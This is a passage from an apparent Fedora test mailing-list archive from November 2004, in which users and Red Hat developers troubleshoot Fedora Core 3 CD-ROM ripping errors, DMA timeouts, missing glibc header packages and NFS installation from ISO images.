or directory > > > stdio.h: no such file or directory > > > errno.h: no such file or directory > > > ctype.h ditto > > > ioctl.h ditto > > > > glibc-headers > > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From pjones at redhat.com Mon Nov 15 16:33:16 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 15 Nov 2004 11:33:16 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100458232.3743.3.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> Message-ID: <1100536396.7800.7.camel@localhost.localdomain> On Sun, 2004-11-14 at 11:50 -0700, Kim Lux wrote: > cdparanoia ripped this song before without any issues. It has now been > running for 15 minutes and has not finished it. Notice the "V"s and "+" > in the rip status. V = uncorrect error/skip. '+' = Unreported loss of > streaming/other error in read. This many V's and +'s (and I suspect it says +++ then goes back and updates them to V's) tends to mean the data it's getting back from the read commands are completely bogus. > I feel silly reporting errors about cd ripping, but I think it best > illustrates the cdrom issues. Go right ahead and report them; cdparanoia works the same way as many other programs, but the pattern can stress different things than some others. > On the bright side the sys log is entirely clean during all this. Eh, I'd rather see errors when something goes horribly wrong... > Checking /dev/cdrom for cdrom... > DMA scatter/gather table entries: 1 > table entry size: 131072 bytes > maximum theoretical transfer: 55 sectors > Setting default read size to 24 sectors (56448 bytes). Well, I saw something like what you're seeing when I was testing, but there's a workaround which succeeded on all the hardware I could find. Maybe it doesn't work on yours... Can you try the cdparanoia-alpha9.8-24.0test1 packages at http://people.redhat.com/pjones/cdparanoia/fc3/ ? -- Peter From pjones at redhat.com Mon Nov 15 16:34:41 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 15 Nov 2004 11:34:41 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> References: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> Message-ID: <1100536481.7800.10.camel@localhost.localdomain> On Sun, 2004-11-14 at 23:18 +0100, Harald Hoyer (slash) wrote: > Maybe cdparanoia should open the cdrom device with O_EXCL and hal also... It does, and has since May of 2003. It's even in the changelog... -- Peter From lux at diesel-research.com Mon Nov 15 16:36:32 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 09:36:32 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100536396.7800.7.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> Message-ID: <1100536592.12442.7.camel@localhost.localdomain> There are actually 2 instances where my cdrom doesn't work: a) opening with right click on the desktop b) cdparanoia I played a DVD on it last night with mplayer and it worked perfectly. I just burned a CDR with k3b and it worked perfectly. Could we try getting it to open and unmount from the desktop and then move to cdparanoia ? I'll test the work around if you want. Let me know. On Mon, 2004-11-15 at 11:33 -0500, Peter Jones wrote: > On Sun, 2004-11-14 at 11:50 -0700, Kim Lux wrote: > > cdparanoia ripped this song before without any issues. It has now been > > running for 15 minutes and has not finished it. Notice the "V"s and "+" > > in the rip status. V = uncorrect error/skip. '+' = Unreported loss of > > streaming/other error in read. > > This many V's and +'s (and I suspect it says +++ then goes back and > updates them to V's) tends to mean the data it's getting back from the > read commands are completely bogus. > > > I feel silly reporting errors about cd ripping, but I think it best > > illustrates the cdrom issues. > > Go right ahead and report them; cdparanoia works the same way as many > other programs, but the pattern can stress different things than some > others. > > > On the bright side the sys log is entirely clean during all this. > > Eh, I'd rather see errors when something goes horribly wrong... > > > Checking /dev/cdrom for cdrom... > > DMA scatter/gather table entries: 1 > > table entry size: 131072 bytes > > maximum theoretical transfer: 55 sectors > > Setting default read size to 24 sectors (56448 bytes). > > Well, I saw something like what you're seeing when I was testing, but > there's a workaround which succeeded on all the hardware I could find. > Maybe it doesn't work on yours... > > Can you try the cdparanoia-alpha9.8-24.0test1 packages at > http://people.redhat.com/pjones/cdparanoia/fc3/ ? > > -- > Peter > -- Kim Lux (Mr.) Diesel Research Inc From udayreddy at gmail.com Mon Nov 15 16:39:41 2004 From: udayreddy at gmail.com (Uday Kumar Reddy) Date: Mon, 15 Nov 2004 11:39:41 -0500 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <200411151025.46509.fox3ec208@wideopenwest.com> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> <1100531661.2745.74.camel@kyrre> <200411151025.46509.fox3ec208@wideopenwest.com> Message-ID: <5c422970041115083953cb3eb9@mail.gmail.com> On Mon, 15 Nov 2004 10:25:45 -0500, Terry Polzin wrote: > On Monday 15 November 2004 10:14, Kyrre Ness Sjobak wrote: > > > > make sure you only have the install images in the dir, or anaconda WILL > > screw up. Install images does not include rescuecd ;) > > > > man, 15.11.2004 kl. 03.25 skrev George Hill: > > > Can you do an NFS install using ISO images with FC3 as > > > you could with FC2? I just tried and it did not work. > > > > > > With FC2, you could boot as linux askmethod, specify > > > NFS, point to an NFS-mountable directory that > > > contained the ISO images, and install. I tried that > > > with FC3 and I get a message saying that it does not > > > look like the directory contains Fedora. When I did a > > > mount -o loop ... the NFS install went fine (until it > > > ran out of stuff to install -- I could only mount one > > > iso image). Anyone else run into this? Thoughts? > > > Thanks, > > What image did you boot with. I have found that you need to boot from the > boot.iso from CD#1 or from the rescue CD for that version. The boot.iso > image from a different version gives me messages like the ones you describe. Thats right; I once tried doing an FC3 install from the ISOs on my hard-disk by booting from an FC2 boot CD: it did NOT work. -- Uday > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From lux at diesel-research.com Mon Nov 15 16:44:24 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 09:44:24 -0700 Subject: Slashdot is discussing "FC3: worthwhile or not ?" Message-ID: <1100537064.12442.9.camel@localhost.localdomain> http://slashdot.org/article.pl?sid=04/11/15/0450200 Interesting feedback. One guy doesn't like the "dvd sized download" required. -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 16:45:54 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 09:45:54 -0700 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <1100537064.12442.9.camel@localhost.localdomain> References: <1100537064.12442.9.camel@localhost.localdomain> Message-ID: <1100537155.12442.11.camel@localhost.localdomain> Ouch: "Basically, what I'm saying is I fail to see where FC stands out above other distributions that would make me want to use it. Granted, after the general buginess I experienced with FC2, I may be biased, but the whole point is the fact that I wasn't having similar issues with the other distributions, so why should I have to put up with them with FC?" -- Kim Lux (Mr.) Diesel Research Inc From pjones at redhat.com Mon Nov 15 16:47:12 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 15 Nov 2004 11:47:12 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100536592.12442.7.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> Message-ID: <1100537232.11585.1.camel@localhost.localdomain> On Mon, 2004-11-15 at 09:36 -0700, Kim Lux wrote: > There are actually 2 instances where my cdrom doesn't work: > > a) opening with right click on the desktop > b) cdparanoia > > I played a DVD on it last night with mplayer and it worked perfectly. > I just burned a CDR with k3b and it worked perfectly. > > Could we try getting it to open and unmount from the desktop and then > move to cdparanoia ? > > I'll test the work around if you want. Let me know. I expect they're entirely unrelated problems, and I don't know squat about mount and unmount... -- Peter From lux at diesel-research.com Mon Nov 15 16:53:12 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 09:53:12 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100537232.11585.1.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> Message-ID: <1100537592.12442.14.camel@localhost.localdomain> Someone over on slashdot has a similar error pattern to what I have seen on my machine: I upgrade over the weekend, and now I can't access anything on the secondary IDE controller without major problems - my load average when I woke up this morning was over 230. This hardware has been perfectly stable for 2 years. hdc: dma timer_expiry: dma status == 0x21 hdc: DMA timeout error hdc: dma timeout error: status=0xd0 {Busy} ide: failed opcode was: unknown hdc: DMA disabled ide1: reset: success hdc: irq timeout: status-0x80 { Busy } ide: failed opcode was: unknown ide: reset: success ReiserFS: warning: is_tree_node: node level 19789 does not match to the expected one 1 I'll bet money that his /dev/hdc is a cdrom. On Mon, 2004-11-15 at 11:47 -0500, Peter Jones wrote: > On Mon, 2004-11-15 at 09:36 -0700, Kim Lux wrote: > > There are actually 2 instances where my cdrom doesn't work: > > > > a) opening with right click on the desktop > > b) cdparanoia > > > > I played a DVD on it last night with mplayer and it worked perfectly. > > I just burned a CDR with k3b and it worked perfectly. > > > > Could we try getting it to open and unmount from the desktop and then > > move to cdparanoia ? > > > > I'll test the work around if you want. Let me know. > > I expect they're entirely unrelated problems, and I don't know squat > about mount and unmount... > > -- > Peter > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 16:54:36 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 09:54:36 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100537232.11585.1.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> Message-ID: <1100537676.12442.16.camel@localhost.localdomain> mount and umount generate a ton of syslog messages. See a few emails back for more details. I'll test the cdparanoia work around and report back. On Mon, 2004-11-15 at 11:47 -0500, Peter Jones wrote: > On Mon, 2004-11-15 at 09:36 -0700, Kim Lux wrote: > > There are actually 2 instances where my cdrom doesn't work: > > > > a) opening with right click on the desktop > > b) cdparanoia > > > > I played a DVD on it last night with mplayer and it worked perfectly. > > I just burned a CDR with k3b and it worked perfectly. > > > > Could we try getting it to open and unmount from the desktop and then > > move to cdparanoia ? > > > > I'll test the work around if you want. Let me know. > > I expect they're entirely unrelated problems, and I don't know squat > about mount and unmount... > > -- > Peter > -- Kim Lux (Mr.) Diesel Research Inc From sopwith at redhat.com Mon Nov 15 16:56:19 2004 From: sopwith at redhat.com (Elliot Lee) Date: Mon, 15 Nov 2004 11:56:19 -0500 (EST) Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100537592.12442.14.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> Message-ID: Turn off DMA for that drive, e.g. echo USE_DMA=0 > /etc/sysconfig/harddiskhdc -- Elliot On Mon, 15 Nov 2004, Kim Lux wrote: > Someone over on slashdot has a similar error pattern to what I have seen > on my machine: > > > I upgrade over the weekend, and now I can't access anything on the > secondary IDE controller without major problems - my load average when I > woke up this morning was over 230. This hardware has been perfectly > stable for 2 years. > > hdc: dma timer_expiry: dma status == 0x21 > hdc: DMA timeout error > hdc: dma timeout error: status=0xd0 {Busy} > ide: failed opcode was: unknown > hdc: DMA disabled > ide1: reset: success > hdc: irq timeout: status-0x80 { Busy } > ide: failed opcode was: unknown > ide: reset: success > ReiserFS: warning: is_tree_node: node level 19789 does not match to > the expected one 1 > > > I'll bet money that his /dev/hdc is a cdrom. > > > > On Mon, 2004-11-15 at 11:47 -0500, Peter Jones wrote: > > On Mon, 2004-11-15 at 09:36 -0700, Kim Lux wrote: > > > There are actually 2 instances where my cdrom doesn't work: > > > > > > a) opening with right click on the desktop > > > b) cdparanoia > > > > > > I played a DVD on it last night with mplayer and it worked perfectly. > > > I just burned a CDR with k3b and it worked perfectly. > > > > > > Could we try getting it to open and unmount from the desktop and then > > > move to cdparanoia ? > > > > > > I'll test the work around if you want. Let me know. > > > > I expect they're entirely unrelated problems, and I don't know squat > > about mount and unmount... > > > > -- > > Peter > > > From alan at redhat.com Mon Nov 15 17:02:11 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 12:02:11 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100537592.12442.14.camel@localhost.localdomain> References: <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> Message-ID: <20041115170211.GA28354@devserv.devel.redhat.com> On Mon, Nov 15, 2004 at 09:53:12AM -0700, Kim Lux wrote: > ReiserFS: warning: is_tree_node: node level 19789 does not match to > the expected one 1 > > I'll bet money that his /dev/hdc is a cdrom. Oh yes people use reiserfs on cdrom all the time. From fedora at wir-sind-cool.org Mon Nov 15 17:03:02 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Mon, 15 Nov 2004 18:03:02 +0100 Subject: Applications for FC4 In-Reply-To: <4198B877.9090605@avtechpulse.com> References: <4198B877.9090605@avtechpulse.com> Message-ID: <20041115180302.71db52f4.fedora@wir-sind-cool.org> On Mon, 15 Nov 2004 09:08:55 -0500, Dr. Michael J. Chudobiak wrote: > I'd like to see the Asterisk telephone PBX, now that a 1.0 version is > out. See http://www.asterisk.org and > http://www.voip-info.org/tiki-print.php?page=Asterisk+Fedora+Core+3. Fedora.us Extras package submission seen here, needs reviews and approvals: https://bugzilla.fedora.us/show_bug.cgi?id=983 http://www.fedora.us/wiki/PackageSubmissionQAPolicy#review -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 loadavg: 1.33 1.27 1.16 From lux at diesel-research.com Mon Nov 15 17:06:32 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 10:06:32 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041115170211.GA28354@devserv.devel.redhat.com> References: <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> <20041115170211.GA28354@devserv.devel.redhat.com> Message-ID: <1100538392.12442.21.camel@localhost.localdomain> I didn't see that. On Mon, 2004-11-15 at 12:02 -0500, Alan Cox wrote: > On Mon, Nov 15, 2004 at 09:53:12AM -0700, Kim Lux wrote: > > ReiserFS: warning: is_tree_node: node level 19789 does not match to > > the expected one 1 > > > > I'll bet money that his /dev/hdc is a cdrom. > > Oh yes people use reiserfs on cdrom all the time. > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 17:16:25 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 10:16:25 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100536396.7800.7.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> Message-ID: <1100538985.14090.1.camel@localhost.localdomain> Same thing. Progress was non existent and there were several Vs in the output. syslogs are clean of messages. $ cdparanoia -vB 5- cdparanoia III release 9.8 (March 23, 2001) (C) 2001 Monty and Xiphophorus Report bugs to paranoia at xiph.org http://www.xiph.org/paranoia/ Checking /dev/cdrom for cdrom... DMA scatter/gather table entries: 1 table entry size: 131072 bytes maximum theoretical transfer: 55 sectors Setting default read size to 8 sectors (18816 bytes). CDROM model sensed sensed: HL-DT-ST DVD+RW GCA-4040N 1.17 Checking for SCSI emulation... Drive is ATAPI (using SCSI host adaptor emulation) Checking for MMC style command set... Drive is MMC style Verifying CDDA command set... Expected command set reads OK. Table of contents (audio tracks only): track length begin copy pre ch =========================================================== 1. 17537 [03:53.62] 0 [00:00.00] no no 2 2. 15520 [03:26.70] 17537 [03:53.62] no no 2 3. 16025 [03:33.50] 33057 [07:20.57] no no 2 4. 16098 [03:34.48] 49082 [10:54.32] no no 2 5. 21085 [04:41.10] 65180 [14:29.05] no no 2 6. 13065 [02:54.15] 86265 [19:10.15] no no 2 7. 16425 [03:39.00] 99330 [22:04.30] no no 2 8. 17170 [03:48.70] 115755 [25:43.30] no no 2 9. 18295 [04:03.70] 132925 [29:32.25] no no 2 10. 15935 [03:32.35] 151220 [33:36.20] no no 2 11. 16122 [03:34.72] 167155 [37:08.55] no no 2 12. 16410 [03:38.60] 183277 [40:43.52] no no 2 13. 16483 [03:39.58] 199687 [44:22.37] no no 2 14. 18925 [04:12.25] 216170 [48:02.20] no no 2 15. 19675 [04:22.25] 235095 [52:14.45] no no 2 16. 15472 [03:26.22] 254770 [56:36.70] no no 2 TOTAL 270242 [60:03.17] (audio only) Ripping from sector 65180 (track 5 [0:00.00]) to sector 270241 (track 16 [3:26.21]) outputting to track05.cdda.wav On Mon, 2004-11-15 at 11:33 -0500, Peter Jones wrote: > On Sun, 2004-11-14 at 11:50 -0700, Kim Lux wrote: > > cdparanoia ripped this song before without any issues. It has now been > > running for 15 minutes and has not finished it. Notice the "V"s and "+" > > in the rip status. V = uncorrect error/skip. '+' = Unreported loss of > > streaming/other error in read. > > This many V's and +'s (and I suspect it says +++ then goes back and > updates them to V's) tends to mean the data it's getting back from the > read commands are completely bogus. > > > I feel silly reporting errors about cd ripping, but I think it best > > illustrates the cdrom issues. > > Go right ahead and report them; cdparanoia works the same way as many > other programs, but the pattern can stress different things than some > others. > > > On the bright side the sys log is entirely clean during all this. > > Eh, I'd rather see errors when something goes horribly wrong... > > > Checking /dev/cdrom for cdrom... > > DMA scatter/gather table entries: 1 > > table entry size: 131072 bytes > > maximum theoretical transfer: 55 sectors > > Setting default read size to 24 sectors (56448 bytes). > > Well, I saw something like what you're seeing when I was testing, but > there's a workaround which succeeded on all the hardware I could find. > Maybe it doesn't work on yours... > > Can you try the cdparanoia-alpha9.8-24.0test1 packages at > http://people.redhat.com/pjones/cdparanoia/fc3/ ? > > -- > Peter > -- Kim Lux (Mr.) Diesel Research Inc From pjones at redhat.com Mon Nov 15 17:19:06 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 15 Nov 2004 12:19:06 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> Message-ID: <1100539146.11585.5.camel@localhost.localdomain> On Mon, 2004-11-15 at 11:56 -0500, Elliot Lee wrote: > Turn off DMA for that drive, e.g. > > echo USE_DMA=0 > /etc/sysconfig/harddiskhdc I doubt if that'll help Kim's case. I don't actually think his is related to the ide+reiserfs error below, where a (probably not CD) drive that's been running for 20000 hours dies one morning, though. > > -- Elliot > > On Mon, 15 Nov 2004, Kim Lux wrote: > > > Someone over on slashdot has a similar error pattern to what I have seen > > on my machine: > > > > > > I upgrade over the weekend, and now I can't access anything on the > > secondary IDE controller without major problems - my load average when I > > woke up this morning was over 230. This hardware has been perfectly > > stable for 2 years. > > > > hdc: dma timer_expiry: dma status == 0x21 > > hdc: DMA timeout error > > hdc: dma timeout error: status=0xd0 {Busy} > > ide: failed opcode was: unknown > > hdc: DMA disabled > > ide1: reset: success > > hdc: irq timeout: status-0x80 { Busy } > > ide: failed opcode was: unknown > > ide: reset: success > > ReiserFS: warning: is_tree_node: node level 19789 does not match to > > the expected one 1 > > > > > > I'll bet money that his /dev/hdc is a cdrom. Doubt it. -- Peter When in doubt, debug-on-entry the function you least suspect has anything to do with something. From cra at WPI.EDU Mon Nov 15 17:22:29 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 15 Nov 2004 12:22:29 -0500 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <1100534449.12442.2.camel@localhost.localdomain> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> <1100532803.11709.0.camel@localhost.localdomain> <1100534449.12442.2.camel@localhost.localdomain> Message-ID: <20041115172229.GE14135@angus.ind.WPI.EDU> On Mon, Nov 15, 2004 at 09:00:49AM -0700, Kim Lux wrote: > I downloaded glibc-headers and tried to rpm it. It failed on a > dependency of kernel-headers. I can't find a "kernel-headers" in the > FC3 dirs. I tried installing glibc-kernheaders, but it is giving a > warning of NOKEY and not installing, even with --force. > What now ? "yum install glibc-headers" should work. > Why wasn't glibc-headers installed when I added the development packages > to my personal installation ? I don't know. It appears to be missing from comps.xml. From lux at diesel-research.com Mon Nov 15 17:27:57 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 10:27:57 -0700 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <20041115172229.GE14135@angus.ind.WPI.EDU> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> <1100532803.11709.0.camel@localhost.localdomain> <1100534449.12442.2.camel@localhost.localdomain> <20041115172229.GE14135@angus.ind.WPI.EDU> Message-ID: <1100539677.14090.7.camel@localhost.localdomain> This machine is not on a network/Internet as ndiswrapper is needed for that. glibc-headers has a dependency: kernel-headers. I couldn't find kernel headers. I did find glib-kernheaders, but it has a NOID error and won't install. (I got it from a mirror, btw.) This all started because I couldn't get my PS/2 mouse to be recognized during the install and selected Personal Workstation. I am going to reinstall fresh (for the 3rd time) shortly. I'll put the development tools in this time. On Mon, 2004-11-15 at 12:22 -0500, Charles R. Anderson wrote: > On Mon, Nov 15, 2004 at 09:00:49AM -0700, Kim Lux wrote: > > I downloaded glibc-headers and tried to rpm it. It failed on a > > dependency of kernel-headers. I can't find a "kernel-headers" in the > > FC3 dirs. I tried installing glibc-kernheaders, but it is giving a > > warning of NOKEY and not installing, even with --force. > > What now ? > > "yum install glibc-headers" should work. > > > Why wasn't glibc-headers installed when I added the development packages > > to my personal installation ? > > I don't know. It appears to be missing from comps.xml. > -- Kim Lux (Mr.) Diesel Research Inc From tim at birdsnest.maths.tcd.ie Mon Nov 15 17:41:11 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Mon, 15 Nov 2004 17:41:11 +0000 Subject: Features for FC4 In-Reply-To: <20041113231632.GA19659@devserv.devel.redhat.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411132245.40477.tim@birdsnest.maths.tcd.ie> <20041113231632.GA19659@devserv.devel.redhat.com> Message-ID: <200411151741.12248.tim@birdsnest.maths.tcd.ie> On Saturday 13 November 2004 23:16, Alan Cox wrote: > > My laptop CD drive (Sony CD51) is not supported, > > though it worked under Redhat-8.0. > > During install ? If so see the release notes. Not during install please > provide me with more details Thanks for your response: (1) I think the CD reader would work OK at installation. I actually installed from the hard disk, but both the Rescue CD and the CD I made with "mkbootdisk --iso" seem to work fine. (2) In what follows, I am always running kernel 2.6.9-1.667 which came with FC-3, with the grub stanza ================================ title Fedora Core (2.6.9-1.667) root (hd0,1) kernel /vmlinuz-2.6.9-1.667 ro root=/dev/hda3 ide1=0x180,0x386 initrd /initrd-2.6.9-1.667.img ================================ If the CD reader is attached at boot-time, the system hangs after I log in. Ctrl-Alt-Delete and Ctrl-Alt-F1 do not work; I have to stop the machine (badly) by pressing the power button. (3) If the CD reader is not attached at boot-time, then I am able to login as usual. The following is an excerpt from /var/log/messages =============================================== Nov 15 16:48:10 william syslogd 1.4.1: restart. ... Nov 15 16:48:10 william kernel: Linux version 2.6.9-1.667 (bhcompile at tweety.build.redhat.com) (gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)) #1 Tue Nov 2 14:41:31 EST 2004 ... Nov 15 16:48:11 william kernel: Kernel command line: ro root=/dev/hda3 ide1=0x180,0x386 Nov 15 16:48:11 william kernel: ide_setup: ide1=0x180,0x386 ... Nov 15 16:48:11 william kernel: Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2 Nov 15 16:48:11 william kernel: ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx Nov 15 16:48:11 william kernel: PIIX4: IDE controller at PCI slot 0000:00:07.1 Nov 15 16:48:11 william kernel: PIIX4: chipset revision 1 Nov 15 16:48:11 william kernel: PIIX4: not 100%% native mode: will probe irqs later Nov 15 16:48:11 william kernel: ide0: BM-DMA at 0x1000-0x1007, BIOS settings: hda:DMA, hdb:pio Nov 15 16:48:11 william kernel: ide2: BM-DMA at 0x1008-0x100f, BIOS settings: hde:pio, hdf:pio Nov 15 16:48:11 william kernel: hda: HTS726060M9AT00, ATA DISK drive Nov 15 16:48:11 william kernel: Using cfq io scheduler Nov 15 16:48:11 william kernel: ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 Nov 15 16:48:11 william kernel: hda: max request size: 1024KiB Nov 15 16:48:11 william kernel: hda: 117210240 sectors (60011 MB) w/7877KiB Cache, CHS=16383/255/63, UDMA(33) Nov 15 16:48:11 william kernel: hda: hda1 hda2 hda3 hda4 < hda5 hda6 hda7 hda8 hda9 hda10 hda11 hda12 > ... Nov 15 16:48:11 william kernel: Yenta: CardBus bridge found at 0000:00:0c.0 [104d:80b1] Nov 15 16:48:11 william kernel: Yenta: ISA IRQ mask 0x0cb8, PCI irq 9 Nov 15 16:48:11 william kernel: Socket status: 30000006 ... CD reader attached here Nov 15 16:51:13 william cardmgr[1614]: socket 0: Ninja ATA Nov 15 16:51:13 william kernel: ide-cs: GetNextTuple: No more items Nov 15 16:51:13 william cardmgr[1614]: get dev info on socket 0 failed: No such device =============================================== 4) I notice that ide0 and ide2 are mentioned here. If I replace "ide1=..." with "ide2=..." I get the same outcome, except that now ide0 and ide1 are mentioned. (5) I note that the cdrom module is not mentioned by lsmod; I assume this is in the kernel. However, I get exactly the same outcome on a vanilla 2.6.9 system with the modules ====================================== ide_cd 37376 0 cdrom 38044 1 ide_cd ====================================== Are any other modules, eg SCSI, required? (6) Would it help if I installed 2.6.10-rc2 or 2.6.9-ac8 ? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From lux at diesel-research.com Mon Nov 15 17:45:53 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 10:45:53 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: 